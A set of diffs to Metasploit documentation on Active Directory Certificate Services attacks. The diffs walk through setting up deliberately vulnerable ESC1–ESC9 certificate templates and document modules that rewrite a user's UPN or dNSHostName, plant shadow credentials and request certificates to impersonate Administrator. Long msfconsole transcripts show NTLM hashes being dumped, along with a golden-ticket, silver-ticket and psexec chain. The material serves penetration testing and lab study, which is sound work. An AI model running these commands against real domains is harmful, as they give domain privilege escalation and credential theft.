[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_787259.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[*] Auxiliary module execution completed
```
# Authenticating With A Certificate
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
@@ -52,79 +52,4 @@ Microsoft provides a very useful [training module](https://learn.microsoft.com/e
that covers the fundamentals of AD CS and as well as examples which cover the management of certificate enrollment, certificate revocation and certificate trusts.
## Setting up A Vulnerable AD CS Server
The following steps assume that you have installed an AD CS on either a new or existing domain controller.
### Installing AD CS
1. Open the Server Manager
2. Select Add roles and features
3. Select "Active Directory Certificate Services" under the "Server Roles" section
4. When prompted add all of the features and management tools
5. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
6. Completion the installation and reboot the server
7. Reopen the Server Manager
8. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
9. Select "Certificate Authority" in the Role Services tab
10. Select "Enterprise CA" in the "Setup Type" tab (the user must be a Domain Administrator for this option to be available)
11. Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the `CA` datastore option)
12. Accept the rest of the default settings and complete the configuration
### Setting up a ESC1 Vulnerable Certificate Template
1. Open up the run prompt and type in `certsrv`.
2. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
3. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
4. From here you can refer to the following [Active-Directory-Certificate-Services-abuse](https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md) documentation for screenshots.
5. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
6. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears. Then click the `Apply` button.
7. Scroll to the `Extensions` tab and under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon` is listed. Then click the `Apply` button.
8. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
9. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
10. Click `Apply` and then `Ok`
11. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
12. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC2 Vulnerable Certificate Template
1. Open up `certsrv`
2. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
3. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
4. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
5. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
6. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
7. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
8. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
9. Click the `Apply` button, and then `OK`. The certificate should now be created.
10. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
11. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 1 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
5. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
6. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
7. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 2 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
5. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
6. Click `Apply` and then click `OK` to issue the certificate.
7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC8 Vulnerable Host
1. Follow instructions for creating an AD CS enabled server
2. Select Add Roles and Features
3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
4. For each selection, accept the default for any pop-up.
5. Accept the default features and install.
6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
7. Under Credentials, accept the default
8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
9. In CA for CES, accept the defaults
10. In Authentication Types, accept the default integrated authentication
11. In Service account for CES, select `Use built-in application pool identity`
12. Accept default integrated authentication for CEP
13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
14. Accept the remaining defaults.
The steps for setting up a vulnerable AD CS server are covered in the [[Installing AD CS|./ldap_esc_vulnerable_cert_finder.md]] section.
@@ -142,7 +142,7 @@ Optional options:
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
* `write-only` -- New tickets are requested and they are stored for reuse.
* `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
## Ticket management
@@ -0,0 +1,208 @@
## Vulnerable Application
This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object
attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the
certificate template, enabling operations such as authentication. PFX certificate files generated by this module are
encrypted with a blank password.
To perform the LDAP attribute update, the module requires write privileges over the
target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user
before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module
to handle LDAP attribute updates.
This module is capable of exploiting ESC9, ESC10, and ESC16.
### Setup
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template.
For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
## Options
### LDAPUsername
The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`.
### LDAPPassword
The password for the `LDAPUsername` account.
### LDAPDomain
The domain of the `LDAPUsername`, e.g., `demo.local`.
### CA
The target certificate authority.
### CERT_TEMPLATE
The certificate template to issue, e.g., "User".
### TARGET_USERNAME
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
### UPDATE_LDAP_OBJECT
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
### UPDATE_LDAP_OBJECT_VALUE
The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`.
If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case).
### ALT_UPN
An alternate UPN (User Principal Name) to set for the target user, e.g., `Administrator@domain.local`.
### ALT_SID
An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`.
### ALT_DNS
An alternate DNS hostname to set for the target user, e.g., `host.domain.local`.
## Verification Steps
1. Start msfconsole
1. Do: `use esc_update_ldap_object`
1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME`
1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for
1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting
1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator`
1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use
1. Run the module
1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file.
1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation.
## Scenarios
### ESC9 - Update userPrincipalName to Administrator
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
cert_template => SpencerTest
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
ca => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] No matching entries found - check device ID
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
target_username => Test2$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
UPDATE_LDAP_OBJECT => dNSHostName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
CERT_TEMPLATE => ESC9-Template-Dns
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
ldapusername => Test1$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of Test2$'s dNSHostName:
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for Test2$
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx
[*] 172.16.199.200:445 - Removing shadow credential
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
[*] 172.16.199.200:445 - Reverting ldap object
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
@@ -61,6 +61,12 @@ Username to request on behalf of. This is in the format `$domain\\$username`.
The digest algorithm to use for cryptographic signing operations.
When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)
## Actions
### REQUEST_CERT
@@ -298,14 +298,14 @@ host service type name content i
TGS using a previously forged golden ticket:
```
# Forge a golden ticket
# 1. Forge a golden ticket
msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator
[*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin
[*] Auxiliary module execution completed
# Request a silver ticket:
# 2. Request a silver ticket:
msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
[*] Running module against 10.10.11.5
@@ -317,7 +317,7 @@ msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5
[+] 10.10.11.5:88 - Received a valid delegation TGS-Response
[*] Auxiliary module execution completed
# Use psexec:
# 3. Use psexec:
msf exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1
@@ -0,0 +1,172 @@
## Description
The `ldap_object_attribute` module allows users to read, create, update or delete attributes of LDAP objects in an Active Directory environment.
This module is flexible, enabling users to specify the target object and the attribute they wish to interact with.
## Verification Steps
### Action Update
1. On the target host determine the current UPN value of the user you wish to update:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
UserPrincipalName
-----------------
user2
```
1. Start `msfconsole`
1. Do: `use auxiliary/gather/ldap_object_attribute`
1. Do: `set RHOST [IP]`
1. Do: `set LDAPDomain [DOMAIN]`
1. Do: `set LDAPUsername [USERNAME]`
1. Do: `set LDAPPassword [PASSWORD]`
1. Do: `set TARGET_USERNAME [TARGET_USERNAME]`
1. Do: `set ATTRIBUTE userPrincipalName`
1. Do: `set OBJECT_LOOKUP sAMAccountName`
1. Do: `set OBJECT [User you wish to update]`
1. Do: `set VALUE [New value for the attribute (e.g., Administrator)]`
1. Do: `set ACTION update`
1. Do: `run`
1. Verify the attribute has been updated successfully:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
UserPrincipalName
-----------------
Administrator
```
## Options
### OBJECT
The username of the target LDAP object whose attribute you want to update. This is used to locate the specific object in the LDAP directory.
### OBJECT_LOOKUP
How to look up the target LDAP object. This can either be done by specifying a DN or by specifying `sAMAaccountName` in order to work with AD account attributes.
### ATTRIBUTE
The LDAP attribute to update. For example, `userPrincipalName` can be used to update the User Principal Name of the target object.
### VALUE
Required when running "Update" or "Create" actions and is the value of the specified attribute that you want to set for the target object.
## Scenarios
### Action `Update`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action update
action => update
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
VALUE => Administrator
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Original value of user2's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### Action `Read`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action read
action => read
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[+] Found CN=user2,CN=Users,DC=kerberos,DC=issue with userPrincipalName set to Administrator
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### Action `Delete`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action delete
action => delete
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### Action `Create`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action create
action => create
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
VALUE => Administrator
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Attempting to add attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully added attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
## Notes
- Ensure the user account used for authentication has sufficient privileges to modify the specified attribute.
- Use caution when modifying LDAP attributes, as incorrect changes can disrupt directory services.
@@ -90,6 +90,56 @@ a normal user account by analyzing the objects in LDAP.
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
1. The certificate should now be available to be issued by the CA server.
### Setting up a ESC9 Vulnerable Certificate Template
1. Open up the run prompt and type in `certsrv`.
1. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`.
1. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
1. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
1. The `User` certificate already has the `Client Authentication` EKU enabled so we can use this as a base template.
1. Select the Subject Name tab and select `Build from this Active Directory Information`, under the `Subject Name Format` section select `User Principal Name (UPN)` (or `DNS Name` depending on what scenario you're attempting to exploit).
1. Under the `Subject Name Format` also be sure to unselect `Include e-mail name in subject name` and `E-mail name`.
1. Select the `General` tab and rename this to something meaningful like `ESC9-Template`, then click the `Apply` button.
1. Select the Security tab and click the `Add` button.
1. Enter `user2` (or whatever user's UPN you will be changing for this attack). Click OK.
1. Under Permissions for `user2` select `Allow` for `Enroll` and `Read`.
1. Click `Apply` and then `OK`.
1. Open Active Directory Users and Computers, expand the domain on the left hand side.
1. Enable advanced features to access the security tab by checking "View" > "Advanced Features"
1. Right click `Users` and navigate `user2` and select `Properties`.
1. In the security tab, select `Add` and enter `user1` (or whatever user you will be using to perform the attack). Click OK.
1. Under Permissions for `user1` select `Allow` for `Read` and `Write` (or select `Allow` for `Full Control`).
1. Open a Powershell prompt as Administrator and run the following (change `kerberos.issue` to your domain name):
```powershell
$template = [ADSI]"LDAP://CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue"
$template.Put("msPKI-Enrollment-Flag", 0x80000)
$template.SetInfo()
```
#### Configuring Windows to be Vulnerable to ESC9
1. The template should now be reported as `Potentially Vulnerable` by the module.
